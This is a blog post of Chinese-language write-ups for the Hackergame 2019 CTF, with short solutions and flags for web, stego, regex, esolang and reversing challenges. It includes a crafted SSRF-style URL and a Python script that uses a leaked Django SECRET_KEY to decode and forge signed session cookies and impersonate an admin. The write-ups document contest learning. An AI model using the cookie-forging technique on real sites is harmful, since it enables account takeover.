Hackergame 2019 Writeups

发布于 2019-10-25  57 次阅读


Web | AK

签到题 | Solved | Init_new_world

看下源代码,发现了每个标签名后会有神秘字符串

输入神秘字符串改标签属性获得flag

flag{Welcome_to_Hackergame_2019_452e1e8afa}

信息安全 2077 | Solved | Init_new_world

burpsuite抓包之后改下时间参数

flag{Welc0me_to_competit1on_in_2077}

网页读取器 | Solved | Init_new_world

观察一下源码和结构,构造即可

http://202.38.93.241:10020/request?url=http://web1/[email protected]/../flag

达拉崩吧大冒险 | Solved | Init_new_world

PHP整型溢出

改购买鸡的数字为整型上限-1

攻击力大提升

打败恶龙要flag

flag{what_an_amazing_dream}

被泄露的姜戈 | Solved | Init_new_world

http://www.polaris-lab.com/index.php/archives/426/

描述中说了在lab还是hub上面开源了

所以上github搜索openlug

找到一个openlug用户下载他的仓库

下载完后代码审计

发现SESSION_ENGINE使用signed_cookie

SECRET_KEY也已经泄露了

那么下载django源码,仔细看auth和session的工作流程(要花不少时间)

最后发现cookie使用signing.dump使用signed_cookie进行加密和签名的

签名SECRET_KEY就是泄露的

解密得到一个SHA1串,发现是泄露的数据库中的user的密码的SHA1

那么就好办了,一番替换,最后改cookie得到flag

改过的脚本

import hmac

"""
Functions for creating and restoring url-safe signed JSON objects.

The format used looks like this:

>>> signing.dumps("hello")
'ImhlbGxvIg:1QaUZC:YIye-ze3TTx7gtSv422nZA4sgmk'

There are two components here, separated by a ':'. The first component is a
URLsafe base64 encoded JSON of the object passed to dumps(). The second
component is a base64 encoded hmac/SHA1 hash of "$first_component:$secret"

signing.loads(s) checks the signature and returns the deserialized object.
If the signature fails, a BadSignature exception is raised.

>>> signing.loads("ImhlbGxvIg:1QaUZC:YIye-ze3TTx7gtSv422nZA4sgmk")
'hello'
>>> signing.loads("ImhlbGxvIg:1QaUZC:YIye-ze3TTx7gtSv422nZA4sgmk-modified")
...
BadSignature: Signature failed: ImhlbGxvIg:1QaUZC:YIye-ze3TTx7gtSv422nZA4sgmk-modified

You can optionally compress the JSON prior to base64 encoding it to save
space, using the compress=True argument. This checks if compression actually
helps and only applies compression if the result is a shorter string:

>>> signing.dumps(list(range(1, 20)), compress=True)
'.eJwFwcERACAIwLCF-rCiILN47r-GyZVJsNgkxaFxoDgxcOHGxMKD_T7vhAml:1QaUaL:BA0thEZrp4FQVXIXuOvYJtLJSrQ'

The fact that the string is compressed is signalled by the prefixed '.' at the
start of the base64 JSON.

There are 65 url-safe characters: the 64 used by url-safe base64 and the ':'.
These functions make use of all of them.
"""

import base64
import datetime
import json
import re
import time
import zlib
import hashlib

from django.utils import baseconv
from django.utils.crypto import constant_time_compare, salted_hmac
from django.utils.encoding import force_bytes
from django.utils.module_loading import import_string

_SEP_UNSAFE = re.compile(r'^[A-z0-9-_=]*$')
SECRET_KEY = 'd7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39'

class BadSignature(Exception):
    """Signature does not match."""
    pass


class SignatureExpired(BadSignature):
    """Signature timestamp is older than required max_age."""
    pass


def b64_encode(s):
    return base64.urlsafe_b64encode(s).strip(b'=')


def b64_decode(s):
    pad = b'=' * (-len(s) % 4)
    return base64.urlsafe_b64decode(s + pad)


def base64_hmac(salt, value, key):
    return b64_encode(salted_hmac(salt, value, key).digest()).decode()


def get_cookie_signer(salt='django.core.signing.get_cookie_signer'):
    Signer = import_string(settings.SIGNING_BACKEND)
    key = force_bytes(settings.SECRET_KEY)  # SECRET_KEY may be str or bytes.
    return Signer(b'django.http.cookies' + key, salt=salt)


class JSONSerializer:
    """
    Simple wrapper around json to be used in signing.dumps and
    signing.loads.
    """
    def dumps(self, obj):
        return json.dumps(obj, separators=(',', ':')).encode('latin-1')

    def loads(self, data):
        return json.loads(data.decode('latin-1'))


def dumpsd(obj, key=None, salt='django.contrib.sessions.backends.signed_cookies', serializer=JSONSerializer, compress=True):
    """
    Return URL-safe, hmac/SHA1 signed base64 compressed JSON string. If key is
    None, use settings.SECRET_KEY instead.

    If compress is True (not the default), check if compressing using zlib can
    save some space. Prepend a '.' to signify compression. This is included
    in the signature, to protect against zip bombs.

    Salt can be used to namespace the hash, so that a signed string is
    only valid for a given namespace. Leaving this at the default
    value or re-using a salt value across different parts of your
    application without good cause is a security risk.

    The serializer is expected to return a bytestring.
    """
    data = serializer().dumps(obj)

    # Flag for if it's been compressed or not
    is_compressed = False

    if compress:
        # Avoid zlib dependency unless compress is being used
        compressed = zlib.compress(data)
        if len(compressed) < (len(data) - 1):
            data = compressed
            is_compressed = True
    base64d = b64_encode(data).decode()
    if is_compressed:
        base64d = '.' + base64d
    return TimestampSigner(key, salt=salt).sign(base64d)


def loads(s, key=None, salt='django.contrib.sessions.backends.signed_cookies', serializer=JSONSerializer, max_age=None):
    """
    Reverse of dumps(), raise BadSignature if signature fails.

    The serializer is expected to accept a bytestring.
    """
    # TimestampSigner.unsign() returns str but base64 and zlib compression
    # operate on bytes.
    base64d = TimestampSigner(key, salt=salt).unsign(s, max_age=max_age).encode()
    decompress = base64d[:1] == b'.'
    if decompress:
        # It's compressed; uncompress it first
        base64d = base64d[1:]
    data = b64_decode(base64d)
    if decompress:
        data = zlib.decompress(data)
    return serializer().loads(data)


class Signer:

    def __init__(self, key=None, sep=':', salt=None):
        # Use of native strings in all versions of Python
        self.key = SECRET_KEY
        self.sep = sep
        if _SEP_UNSAFE.match(self.sep):
            raise ValueError(
                'Unsafe Signer separator: %r (cannot be empty or consist of '
                'only A-z0-9-_=)' % sep,
            )
        self.salt = salt or '%s.%s' % (self.__class__.__module__, self.__class__.__name__)

    def signature(self, value):
        return base64_hmac(self.salt + 'signer', value, self.key)

    def sign(self, value):
        return '%s%s%s' % (value, self.sep, self.signature(value))

    def unsign(self, signed_value):
        if self.sep not in signed_value:
            raise BadSignature('No "%s" found in value' % self.sep)
        value, sig = signed_value.rsplit(self.sep, 1)
        if constant_time_compare(sig, self.signature(value)):
            return value
        raise BadSignature('Signature "%s" does not match' % sig)


class TimestampSigner(Signer):

    def timestamp(self):
        return baseconv.base62.encode(int(time.time()))

    def sign(self, value):
        value = '%s%s%s' % (value, self.sep, self.timestamp())
        return super().sign(value)

    def unsign(self, value, max_age=None):
        """
        Retrieve original value and check it wasn't signed more
        than max_age seconds ago.
        """
        result = super().unsign(value)
        value, timestamp = result.rsplit(self.sep, 1)
        timestamp = baseconv.base62.decode(timestamp)
        if max_age is not None:
            if isinstance(max_age, datetime.timedelta):
                max_age = max_age.total_seconds()
            # Check timestamp is not older than max_age
            age = time.time() - timestamp
            if age > max_age:
                raise SignatureExpired(
                    'Signature age %s > %s seconds' % (age, max_age))
        return value

sign = ".eJxVjDEOgzAMRe_iGUUQULE7du8ZIid2GtoqkQhMVe8OSAzt-t97_wOO1yW5tersJoErWGh-N8_hpfkA8uT8KCaUvMyTN4diTlrNvYi-b6f7d5C4pr1uGXGI6AnHGLhjsuESqRdqByvYq_JohVDguwH3fzGM:1iL4N8:SZMynNXged10SjAAIUBO6N-mu9U"

key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash"

def force_byte(s, encoding='utf-8', strings_only=False, errors='strict'):
    """
    Similar to smart_bytes, except that lazy instances are resolved to
    strings, rather than kept as lazy objects.

    If strings_only is True, don't convert (some) non-string-like objects.
    """
    # Handle the common case first for performance reasons.
    if isinstance(s, bytes):
        if encoding == 'utf-8':
            return s
        else:
            return s.decode('utf-8', errors).encode(encoding, errors)
    if strings_only and is_protected_type(s):
        return s
    if isinstance(s, memoryview):
        return bytes(s)
    return str(s).encode(encoding, errors)

def salteds_hmac(key_salt, value, secret=None):
    """
    Return the HMAC-SHA1 of 'value', using a key generated from key_salt and a
    secret (which defaults to settings.SECRET_KEY).

    A different key_salt should be passed in for every application of HMAC.
    """
    if secret is None:
        secret = SECRET_KEY

    key_salt = force_byte(key_salt)
    secret = force_byte(secret)

    # We need to generate a derived key from our base key.  We can do this by
    # passing the key_salt and our base key through a pseudo-random function and
    # SHA1 works nicely.
    key = hashlib.sha1(key_salt + secret).digest()

    # If len(key_salt + secret) > sha_constructor().block_size, the above
    # line is redundant and could be replaced by key = key_salt + secret, since
    # the hmac module does the same thing for keys longer than the block size.
    # However, we need to ensure that we *always* do this.
    return hmac.new(key, msg=force_bytes(value), digestmod=hashlib.sha1)

print(loads(sign))
print(sign)
print(dumpsd(loads(sign)))
ter = '''{'_auth_user_id': '2', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend', '_auth_user_hash': '0a884f8b987fca1a92c6f93d9042d83eea72d98d'}'''
print(dumpsd(ter))
print(salteds_hmac(key_salt, "pbkdf2_sha256$150000$KkiPe6beZ4MS$UWamIORhxnonmT4yAVnoUxScVzrqDTiE9YrrKFmX3hE=").hexdigest())
print(salteds_hmac(key_salt, "pbkdf2_sha256$150000$8GFvEvr58uL6$YWM8Fqu8t/UYcW4iHqxXpkKPMEzlUvxbeHYJI45qBHM=").hexdigest())
'''569127665f950beb6dd4a55098a8768f58814b04'''
'''.eJxTqlaPTywtyYgvLU4tis9MUbdSUDdU11FAFk1KTM5OzQNLpWQl5qXn6yXn55UUZSbpgdToQaWL9XzzU1JznKCKUY3ISCzOAOk3NbM0NDI3MzNNszQ1SEpNMktJMUk0NTWwtEi0MDezSDO1sDA0STIwUa9VAgDXpDGL:1iL5LV:eNWOuAT2jCoVpYGXpYm-IlSDKlE'''
test = '''{'_auth_user_id': '1', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend', '_auth_user_hash': '569127665f950beb6dd4a55098a8768f58814b04'}'''
print(dumpsd(test))
tests = dumpsd(test)
print(loads(tests))

General

白与夜 | Solved | Init_new_world

Stegsolve看图即可
flag{4_B14CK_C4T}

正则验证器 | Solved | Init_new_world

正则灾难回溯

测试网址https://regex101.com/

RegEx: (a)$

String: aaaaaaaaaaaaaaaaaaaaaaab

Happy LUG | Solved | Init_new_world

查询xn--g28h.hack.ustclug.org的txt记录

http://dbcha.com/ 查询网址

三教奇妙夜 | Solved | Init_new_world

脚本大法好

from cv2 import cv2
video_full_path="output.mp4"
cap  = cv2.VideoCapture(video_full_path)
print(cap.isOpened())
frame_count = 1
frame_cnt = 0
success = True
while success:
    success, frame = cap.read()
    frame_cnt = frame_cnt + 1
    print('Read a new frame:{0} {1}'.format(success,frame_cnt))
    params = []
    #params.append(cv.CV_IMWRITE_PXM_BINARY)
    params.append(1)
    height,weight,_ = frame.shape
    cnt = 0
    for i in frame:
        for j in i:
            r,g,b = j
            if r == 0 and g == 0 and b == 0:
                cnt = cnt + 1
        break
    if cnt > 300:
        print("HAha")
        cv2.imwrite("video" + "_%d.jpg" % frame_count, frame, params)
        frame_count = frame_count + 1
cap.release()

得到flag
flag{ViDe0_prOcE55_with_program_1s_eaSy}

天书残篇 | Solved | Init_new_world

https://github.com/rumpl/whitespace
JS-whitespace debug可以输出类似汇编的东西
解密即可
get.txt

30 PUSH 2
31 ADD
32 PUSH 127
33 SUB
34 JUMP_IF_ZERO 36
35 JUMP 385
36 MARK
37 PUSH 2
38 ADD
39 PUSH 53
40 SUB
41 JUMP_IF_ZERO 43
42 JUMP 385
43 MARK
44 PUSH 2
45 ADD
46 PUSH 105
47 SUB
48 JUMP_IF_ZERO 50
49 JUMP 385
50 MARK
51 PUSH 2
52 ADD
53 PUSH 54
54 SUB
55 JUMP_IF_ZERO 57
56 JUMP 385
57 MARK
58 PUSH 2
59 ADD
60 PUSH 119
61 SUB
62 JUMP_IF_ZERO 64
63 JUMP 385
64 MARK
65 PUSH 2
66 ADD
67 PUSH 105
68 SUB
69 JUMP_IF_ZERO 71
70 JUMP 385
71 MARK
72 PUSH 2
73 ADD
74 PUSH 112
75 SUB
76 JUMP_IF_ZERO 78
77 JUMP 385
78 MARK
79 PUSH 2
80 ADD
81 PUSH 54
82 SUB
83 JUMP_IF_ZERO 85
84 JUMP 385
85 MARK
86 PUSH 2
87 ADD
88 PUSH 110
89 SUB
90 JUMP_IF_ZERO 92
91 JUMP 385
92 MARK
93 PUSH 2
94 ADD
95 PUSH 97
96 SUB
97 JUMP_IF_ZERO 99
98 JUMP 385
99 MARK
100 PUSH 2
101 ADD
102 PUSH 111
103 SUB
104 JUMP_IF_ZERO 106
105 JUMP 385
106 MARK
107 PUSH 2
108 ADD
109 PUSH 54
110 SUB
111 JUMP_IF_ZERO 113
112 JUMP 385
113 MARK
114 PUSH 2
115 ADD
116 PUSH 116
117 SUB
118 JUMP_IF_ZERO 120
119 JUMP 385
120 MARK
121 PUSH 2
122 ADD
123 PUSH 105
124 SUB
125 JUMP_IF_ZERO 127
126 JUMP 385
127 MARK
128 PUSH 2
129 ADD
130 PUSH 50
131 SUB
132 JUMP_IF_ZERO 134
133 JUMP 385
134 MARK
135 PUSH 2
136 ADD
137 PUSH 116
138 SUB
139 JUMP_IF_ZERO 141
140 JUMP 385
141 MARK
142 PUSH 2
143 ADD
144 PUSH 114
145 SUB
146 JUMP_IF_ZERO 148
147 JUMP 385
148 MARK
149 PUSH 2
150 ADD
151 PUSH 97
152 SUB
153 JUMP_IF_ZERO 155
154 JUMP 385
155 MARK
156 PUSH 2
157 ADD
158 PUSH 118
159 SUB
160 JUMP_IF_ZERO 162
161 JUMP 385
162 MARK
163 PUSH 2
164 ADD
165 PUSH 110
166 SUB
167 JUMP_IF_ZERO 169
168 JUMP 385
169 MARK
170 PUSH 2
171 ADD
172 PUSH 119
173 SUB
174 JUMP_IF_ZERO 176
175 JUMP 385
176 MARK
177 PUSH 2
178 ADD
179 PUSH 101
180 SUB
181 JUMP_IF_ZERO 183
182 JUMP 385
183 MARK
184 PUSH 2
185 ADD
186 PUSH 107
187 SUB
188 JUMP_IF_ZERO 190
189 JUMP 385
190 MARK
191 PUSH 2
192 ADD
193 PUSH 104
194 SUB
195 JUMP_IF_ZERO 197
196 JUMP 385
197 MARK
198 PUSH 2
199 ADD
200 PUSH 104
201 SUB
202 JUMP_IF_ZERO 204
203 JUMP 385
204 MARK
205 PUSH 2
206 ADD
207 PUSH 107
208 SUB
209 JUMP_IF_ZERO 211
210 JUMP 385
211 MARK
212 PUSH 2
213 ADD
214 PUSH 102
215 SUB
216 JUMP_IF_ZERO 218
217 JUMP 385
218 MARK
219 PUSH 2
220 ADD
221 PUSH 97
222 SUB
223 JUMP_IF_ZERO 225
224 JUMP 385
225 MARK
226 PUSH 2
227 ADD
228 PUSH 99
229 SUB
230 JUMP_IF_ZERO 232
231 JUMP 385
232 MARK
233 PUSH 2
234 ADD
235 PUSH 97
236 SUB
237 JUMP_IF_ZERO 239
238 JUMP 385
239 MARK
240 PUSH 2
241 ADD
242 PUSH 117
243 SUB
244 JUMP_IF_ZERO 246
245 JUMP 385
246 MARK
247 PUSH 2
248 ADD
249 PUSH 107
250 SUB
251 JUMP_IF_ZERO 253
252 JUMP 385
253 MARK
254 PUSH 2
255 ADD
256 PUSH 97
257 SUB
258 JUMP_IF_ZERO 260
259 JUMP 385
260 MARK
261 PUSH 2
262 ADD
263 PUSH 53
264 SUB
265 JUMP_IF_ZERO 267
266 JUMP 385
267 MARK
268 PUSH 2
269 ADD
270 PUSH 101
271 SUB
272 JUMP_IF_ZERO 274
273 JUMP 385
274 MARK
275 PUSH 2
276 ADD
277 PUSH 54
278 SUB
279 JUMP_IF_ZERO 281
280 JUMP 385
281 MARK
282 PUSH 2
283 ADD
284 PUSH 114
285 SUB
286 JUMP_IF_ZERO 288
287 JUMP 385
288 MARK
289 PUSH 2
290 ADD
291 PUSH 117
292 SUB
293 JUMP_IF_ZERO 295
294 JUMP 385
295 MARK
296 PUSH 2
297 ADD
298 PUSH 53
299 SUB
300 JUMP_IF_ZERO 302
301 JUMP 385
302 MARK
303 PUSH 2
304 ADD
305 PUSH 118
306 SUB
307 JUMP_IF_ZERO 309
308 JUMP 385
309 MARK
310 PUSH 2
311 ADD
312 PUSH 107
313 SUB
314 JUMP_IF_ZERO 316
315 JUMP 385
316 MARK
317 PUSH 2
318 ADD
319 PUSH 106
320 SUB
321 JUMP_IF_ZERO 323
322 JUMP 385
323 MARK
324 PUSH 2
325 ADD
326 PUSH 89
327 SUB
328 JUMP_IF_ZERO 330
329 JUMP 385
330 MARK
331 PUSH 2
332 ADD
333 PUSH 125
334 SUB
335 JUMP_IF_ZERO 337
336 JUMP 385
337 MARK
338 PUSH 2
339 ADD
340 PUSH 105
341 SUB
342 JUMP_IF_ZERO 344
343 JUMP 385
344 MARK
345 PUSH 2
346 ADD
347 PUSH 99
348 SUB
349 JUMP_IF_ZERO 351
350 JUMP 385
351 MARK
352 PUSH 2
353 ADD
354 PUSH 110
355 SUB
356 JUMP_IF_ZERO 358
357 JUMP 385
358 MARK
359 PUSH 2
360 ADD
361 PUSH 104
362 SUB
363 JUMP_IF_ZERO 365

io.cpp

#include<cstdio>
#include<cstring>
#include<stack>
using namespace std;

char str[50]={};
int x,y;
stack<char> Stk;

int main(){
freopen("get.txt","r",stdin);
while(scanf("%d %s",&x,str)!=EOF){
    if(strlen(str)==3)continue;
    if(str[0]=='M' && str[1]=='A' && str[2]=='R' && str[3]=='K')continue;
    scanf("%d",&y);
    if(y==2)continue;
    //putchar(y);
    if(str[0]=='P' && str[1]=='U' && str[2]=='S' && str[3]=='H'){
        if(y!=2)Stk.push(y-2);
    }
}
while(!Stk.empty()){
    putchar(Stk.top());
    Stk.pop();
}
return 0;
}

flag{Whit3sp4c3_is_a_difficult_pr0gr4m_l4ngu4g3}

Math

宇宙终极问题 | Working | Init_new_world

42 Solved

百度一下

flag{W0W_you_kn0w_the_Answer_t0_l1f3_Un1v3r5e_&_Everyth1ng_0dcc3835d3}

Binary

小巧玲珑的 ELF | Solved | Init_new_world

IDA逆向解密

#include<cstdio>
#include<cstring>
char buf[]={102,110,101,107,-125,78,109,116,-123,122,111,87,-111,115,-112,79,-115,127,99,54,108,110,-121,105,-93,111,88,115,102,86,-109,-97,105,112,56,118,113,120,111,99,-60,-126,-124,-66,-69,-51,0};

int main(){
int len=strlen(buf);
for(register int i=0;i<len;i++){
    buf[i]+=i;
    buf[i]^=i;
    buf[i]-=2*i;
}
puts(buf);
return 0;
}

flag{Linux_Syst3m_C4ll_is_4_f4scin4ting_t00ls}

It is my final heart.
最后更新于 2019-10-25